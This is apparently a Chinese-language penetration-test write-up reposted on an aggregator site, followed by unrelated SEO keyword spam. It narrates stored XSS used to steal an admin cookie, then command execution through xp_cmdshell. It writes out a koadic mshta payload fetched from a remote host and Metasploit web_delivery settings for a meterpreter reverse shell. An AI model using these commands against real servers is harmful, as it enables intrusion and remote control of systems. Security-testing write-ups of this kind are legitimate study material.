千家信息网

服务器权限渗透测试实例分析

发表于:2025-12-01 作者:千家信息网编辑
千家信息网最后更新 2025年12月01日,本文小编为大家详细介绍"服务器权限渗透测试实例分析",内容详细,步骤清晰,细节处理妥当,希望这篇"服务器权限渗透测试实例分析"文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。X
千家信息网最后更新 2025年12月01日服务器权限渗透测试实例分析

本文小编为大家详细介绍"服务器权限渗透测试实例分析",内容详细,步骤清晰,细节处理妥当,希望这篇"服务器权限渗透测试实例分析"文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。

XSS

说起XSS,很多测试人员往往只输入一些简单的payload让其弹窗证明即可(之前我也是这么干的)但通过这篇文章,可能以后不会再让我们仅仅弹个窗证明其XSS漏洞存在;

Google语法

寻找入手点
渗透的思路是首先进行信息搜集,但这次测试的只有getshell或者拿到服务器的权限才给分数,像一般的XSS,csrf、弱口令是不算的即便是拿到后台但是没有getshell的话也是不算的。

在这种情况下一般我是寻找上传点,通过Google语法搜索,site:子域名+intitle:注册/登录/系统来寻找可以注册或者登录的地方。


注册成功后发现个人信息处存在XSS漏洞,平常测试都是让其弹窗证明一下即可,没有想通过XSS来做一些事情。

因为该处有身份证上传功能,我首先对上传点进行绕过,但是试了各种方法后发现没有成功,故放弃该上传点,开始仔细审查这个网站,发现此处提交个人信息保存后要管理员审核,而又存在存储型XSS,那为什么不碰碰运气打一下管理员的cookie呢。

于是在此处插入XSSpayload之后就出去吃饭静等结果。


没想到今天脸确实挺白的,吃饭时发现XSS打到管理员cookie信息的邮箱已经弹到了我的手机上,顾不上吃饭立马回去打开电脑继续搞。

XSS盲打后台

访问之后通过chrome上的EditThisCookie插件替换cookie成功以管理员的身份进入后台,但发现进入的页面是一个类似于静态的页面,只能看到里面的一些信息,其他什么功能都没有:


心想,不应该啊,既然管理员要审核我的用户信息,肯定是要有审核的那个接口,这时就想到了浏览器的同源策略

浏览器的同源策略


同源的定义:如果两个页面的协议,端口和主机都相同,则两个页面具有相同的源。

Cookie:只有同源的网页才能共享,但是若两个页面一级域名相同,只是二级域名不同,那么浏览器可以通过设置document.domain来共享Cookie。


同源策略


果然可行,通过同源策略,我们成功的进入了管理员的后台。


进入后台第一件事:找上传点!同样无果,只能看看有没有其他的突破口。终于在内容管理处找到了一个可以执行sql语句的地方。


既然可以执行SQL语句,那肯定少不了我们的常用命令xp_cmdshell,通过命令exec master..xp_cmdshell 'powershell whoami'命令成功执行,得知该服务器权限为system权限。


接下来的任务就是反弹shell到我们的MSF上了。但发现powershell反弹shell怎么弹都弹不回来,但走到这一步总不能放弃吧,毕竟我是想进入他们内网拉屎的男人。

这时问了公司大佬,大佬说可以用koadic试一试。


koadic的使用


之前发现社区里面并没有对koadic的介绍,我这里简单的提两句吧。
Koadic是发布于DEFCON上的一个后渗透工具,它和msf相似,但是Koadic主要是通过使用Windows ScriptHost(也称为JScript / VBScript)进行大部分的操作,其核心兼容性支持Windows2000到Window 10的环境中使用,Koadic也试图兼容Python 2和Python 3。


设置IP和端口,进行本地监听。

koadic生成的mshta http://ip/XXXX 通过xp_cmdshell成功执行命令反弹到koadic上。


监听成功:


cmdshell 0 -->进入cmd命令模式


这里其实使用koadic也可以进行后续操作,如提权、抓密码等,但确实是不太熟悉koadic的一些功能,所以这里我们还是选择使用我们最熟悉的MSF这款神器吧。(吹爆MSF!!-。-)

koadic转shell到MSF

既然在koadic可以执行CMD命令,接下来我们只需要把shell转到msf上即可;


打开MSF :msfconsole
使用web_delivery模块
use exploit/multi/script/web_delivery
设置payload:
set payload windows/x64/meterpreter/reverse_tcp_rc4
set SRVPORT 8081
set lhost XX.XX.XX.XXX


因为之前已经通过koadic监听到,而koadic和MSF都搭在我的服务器上,我们可以将其设置为攻击者的内网IP地址。


查看内网ip:


set reverselistenerbindaddress 172.xx.xx.182


run
生成一个powershell.exe


在koadic执行exe之后成功将shell转移到我们的MSF上


成功接收到sessions


看到熟悉的meterpreter模块真的是老泪纵横啊!!!


因为该服务器的权限直接是system权限,无需提权,正当我想继续内网的主机各种横向各种冲冲冲的的时候发现了一个重要的问题:没有域!!!

读到这里,这篇"服务器权限渗透测试实例分析"文章已经介绍完毕,想要掌握这篇文章的知识点还需要大家自己动手实践使用过才能领会,如果想了解更多相关内容的文章,欢迎关注行业资讯频道。

成功 权限 服务器 服务 管理 测试 信息 命令 管理员 同源 后台 页面 策略 实例 实例分析 分析 相同 两个 内容 功能 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 武汉供应管理系统软件开发公司 数据库技术确定系统范围和边界 数据库锁表与解锁 数据库实现分布式锁 罗永浩谈网络技术 石家庄网络安全工程师招聘 法院网络技术处总结 汕头蓝海网络技术 tomCat服务器管理工具 软件开发需要硕士学历吗 数据库文件如何降版本 财政部门网络安全宣传横幅 模具制造与软件开发市场前景 网络安全与执法可以考一建吗 网吧客户机如何连接后台服务器 监控室网络安全 数据库连接不上但没报错 c窗体应用程序连接数据库 网易服务器真的好吗 把云服务器绑定到域名 锐捷网络安全手抄报 人事管理系统实现数据库设计 2021网络安全专项治理 北京智能软件开发质量保障 我的世界游戏服务器哪个好玩 手机聊天软件开发要多少钱 计算机网络技术专业开设课程 服务器2012系统网卡驱动更新 关于软件开发的法律规定 三举措强化网络安全
0